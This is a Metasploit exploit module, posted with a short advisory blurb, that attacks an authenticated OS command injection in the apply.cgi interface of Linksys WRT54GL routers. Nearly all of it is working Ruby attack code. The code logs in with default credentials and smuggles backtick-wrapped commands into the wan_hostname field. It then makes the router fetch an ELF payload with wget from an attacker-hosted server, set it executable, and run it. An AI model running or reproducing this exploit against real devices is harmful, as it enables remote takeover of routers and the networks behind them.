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Linksys WRT54GL apply.cgi Command Execution

Linksys WRT54GL apply.cgi Command Execution
Posted Apr 10, 2013
Authored by Michael Messner, juan vazquez | Site metasploit.com

Some Linksys Routers are vulnerable to an authenticated OS command injection in the Web Interface. Default credentials are admin/admin or admin/password. Since it is a blind os command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. The user must be prudent when using this module since it modifies the router configuration while exploitation, even when it tries to restore previous values.

tags | exploit, web
advisories | OSVDB-89912
MD5 | 0e25c8352c837eddcb3b853f614223e6

Linksys WRT54GL apply.cgi Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys WRT54GL apply.cgi Command Execution',
'Description' => %q{
Some Linksys Routers are vulnerable to an authenticated OS command injection in
the Web Interface. Default credentials are admin/admin or admin/password. Since it
is a blind os command injection vulnerability, there is no output for the executed
command when using the cmd generic payload. A ping command against a controlled
system could be used for testing purposes. The user must be prudent when using this
module since it modifies the router configuration while exploitation, even when it
tries to restore previous values.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '89912' ],
[ 'BID', '57459' ],
[ 'EDB', '24202' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ]
],
'DisclosureDate' => 'Jan 18 2013',
'Privileged' => true,
'Platform' => ['linux','unix'],
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1,
))

register_options(
[
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ])
], self.class)
end


def get_config(config, pattern)
if config =~ /#{pattern}/
return $1
end
return ""
end

def grab_config(user,pass)
print_status("#{rhost}:#{rport} - Trying to download the original configuration")
begin
res = send_request_cgi({
'uri' => '/index.asp',
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
if res.nil? or res.code == 404
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
if [200, 301, 302].include?(res.code)
if res.body =~ /lan_ipaddr_0/
print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
else
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible")
end
else
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
end

#now_proto and wan_proto should be the same and it should be dhcp! Nothing else tested!
@now_proto_orig = get_config(res.body, "<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>")
if @now_proto_orig !~ /dhcp/
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
end
@wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;")
if @wan_proto_orig !~ /dhcp/
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
end
@lan_proto_orig = get_config(res.body, "<input\ type=\"radio\"\ name=\"lan_proto\"\ value=\"(.*)\"\ checked\ onClick=\"SelDHCP")
@daylight_time_orig = get_config(res.body, "<input\ type=hidden\ name=daylight_time\ value=(.*)>")
@lan_ipaddr_orig = get_config(res.body, "<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>")
@wait_time_orig = get_config(res.body, "<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>")
@need_reboot_orig = get_config(res.body, "<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>")
@lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\\(this\,1\,223\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>")
@lan_ipaddr_1_orig = get_config(res.body, "\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_1\">")
@lan_ipaddr_2_orig = get_config(res.body, "\<INPUT\ class=num maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_2\">")
@lan_ipaddr_3_orig = get_config(res.body, "<INPUT class=num maxLength=3\ onBlur=\"valid_range\\(this,1,254,'IP'\\)\;Sel_SubMask\\(this.form.lan_netmask,this.form\\);\"\ size=3" <<
"\ value='(.*)'\ name=\"lan_ipaddr_3\"><\/TD>")
@router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Router%20Name\"\\)><\/FONT><\/TD>")
@wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Domain%20name\"\,SPACE_NO\\)><\/FONT><\/TD>")
@wan_hostname_orig = get_config(res.body, "<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Host%20Name\"\\)><\/FONT><\/TD>")
@wan_mtu_orig = get_config(res.body, "<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\\(this\\)\ size=5\ value='(.*)'\ name=\"wan_mtu\"><\/TD>")
if @wan_mtu_orig.to_i > 1500
@mtu_enable = "0"
end
@ui_language_orig = get_config(res.body, "<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>")
@dhcp_lease_orig = get_config(res.body, "<INPUT\ maxLength=4\ onBlur=valid_range\\(this\,0\,9999\,\"DHCP%20Lease%20Time\"\\)\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num")
@dhcp_num_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,1\,253\,\"Number%20of%20DHCP%20users\"\\)\;Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)" <<
"\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>")
@dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ " <<
"onChange=\"valid_dhcpd_start_ip\\(this.form\,\ this\\)\">")
@netmask_orig = get_config(res.body, "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>")
@wan_dns_orig = get_config(res.body, "<input\ type=hidden\ name=wan_dns\ value=(.*)><INPUT\ maxLength=3")
@wan_dns0_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>")
@wan_dns0_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>")
@wan_dns0_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>")
@wan_dns0_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>")
@wan_dns1_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>")
@wan_dns1_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>")
@wan_dns1_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>")
@wan_dns1_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>")
@wan_dns2_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>")
@wan_dns2_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>")
@wan_dns2_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>")
@wan_dns2_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>")
@wan_wins_orig = get_config(res.body, "<input\ type=hidden\ name=wan_wins\ value=(.*)><INPUT\ maxLength=3")
@wan_wins_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>")
@wan_wins_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>")
@wan_wins_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>")
@wan_wins_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>")
end

def restore_conf(user,pass,uri)
# we have used most parts of the original configuration
# just need to restore wan_hostname
cmd = @wan_hostname_orig.to_s
print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration")

res = request(cmd,user,pass,uri)

if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
end

#the device needs around 10 seconds to apply our current configuration
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
select(nil, nil, nil, @timeout)
end

def request(cmd,user,pass,uri)
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'authorization' => basic_auth(user,pass),
'encode_params' => false,
'vars_post' => {
'submit_button' => "index",
'change_action' => "1",
'submit_type' => "1",
'action' => "Apply",
'now_proto' => @now_proto_orig.to_s,
'daylight_time' => @daylight_time_orig.to_s,
'lan_ipaddr' => @lan_ipaddr_orig.to_s,
'wait_time' => @wait_time_orig.to_s,
'need_reboot' => @need_reboot_orig.to_s,
'ui_language' => @ui_language_orig,
'wan_proto' => @wan_proto_orig.to_s,
'router_name' => @router_name_orig.to_s,
'wan_hostname' => cmd,
'wan_domain' => @wan_domain_orig.to_s,
'mtu_enable' => @mtu_enable.to_s,
'wan_mtu' => @wan_mtu_orig.to_s,
'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s,
'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s,
'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s,
'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s,
'lan_netmask' => "255.255.255.#{@netmask_orig}",
'lan_proto' => @lan_proto_orig.to_s,
'dhcp_check' => "1",
'dhcp_start' => @dhcp_start_orig.to_s,
'dhcp_num' => @dhcp_num_orig.to_s,
'dhcp_lease' => @dhcp_lease_orig.to_s,
'wan_dns' => @wan_dns_orig.to_s,
'wan_dns0_0' => @wan_dns0_0_orig.to_s,
'wan_dns0_1' => @wan_dns0_1_orig.to_s,
'wan_dns0_2' => @wan_dns0_2_orig.to_s,
'wan_dns0_3' => @wan_dns0_3_orig.to_s,
'wan_dns1_0' => @wan_dns1_0_orig.to_s,
'wan_dns1_1' => @wan_dns1_1_orig.to_s,
'wan_dns1_2' => @wan_dns1_2_orig.to_s,
'wan_dns1_3' => @wan_dns1_3_orig.to_s,
'wan_dns2_0' => @wan_dns2_0_orig.to_s,
'wan_dns2_1' => @wan_dns2_1_orig.to_s,
'wan_dns2_2' => @wan_dns2_2_orig.to_s,
'wan_dns2_3' => @wan_dns2_3_orig.to_s,
'wan_wins' => @wan_wins_orig.to_s,
'wan_wins_0' => @wan_wins_0_orig.to_s,
'wan_wins_1' => @wan_wins_1_orig.to_s,
'wan_wins_2' => @wan_wins_2_orig.to_s,
'wan_wins_3' => @wan_wins_3_orig.to_s,
'time_zone' => "-08+1+1", #default is ok
'_daylight_time' => '1' #default is ok
}
})
return res
rescue ::Rex::ConnectionError
vprint_error("#{rhost} - Failed to connect to the web server")
return nil
end

end

def exploit
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
uri = '/apply.cgi'
user = datastore['USERNAME']
pass = datastore['PASSWORD']
rhost = datastore['RHOST']
rport = datastore['RPORT']
restore = datastore['RESTORE_CONF']
@timeout = 10

#
# testing Login
#
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
if res.nil? or res.code == 404
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
if [200, 301, 302].include?(res.code)
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
end


grab_config(user,pass)

if target.name =~ /CMD/
if not (datastore['CMD'])
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = payload.encoded
cmd = "`#{cmd}`"
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
else
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
end
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
select(nil, nil, nil, @timeout)
restore_conf(user,pass,uri) if restore
return
end

#thx to Juan for his awesome work on the mipsel elf support
@pl = generate_payload_exe
@elf_sent = false

#
# start our server
#
resource_uri = '/' + downfile

if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end

#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end

service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})

datastore['SSL'] = true if ssl_restore
end

#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)

#not working if we send all command together -> lets take three requests
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
cmd = "`#{cmd}`"
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end

# wait for payload download
if (datastore['DOWNHOST'])
#waiting some time so we could be sure that the device got the payload from our third party server
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
end
register_file_for_cleanup("/tmp/#{filename}")

#
# chmod
#
cmd = "chmod 777 /tmp/#{filename}"
cmd = "`#{cmd}`"
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
select(nil, nil, nil, @timeout)

#
# execute
#
cmd = "/tmp/#{filename}"
cmd = "`#{cmd}`"
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
select(nil, nil, nil, @timeout)

#
#reload original configuration
#
if restore
restore_conf(user,pass,uri)
end
end

# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end

# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
end
end
end

end

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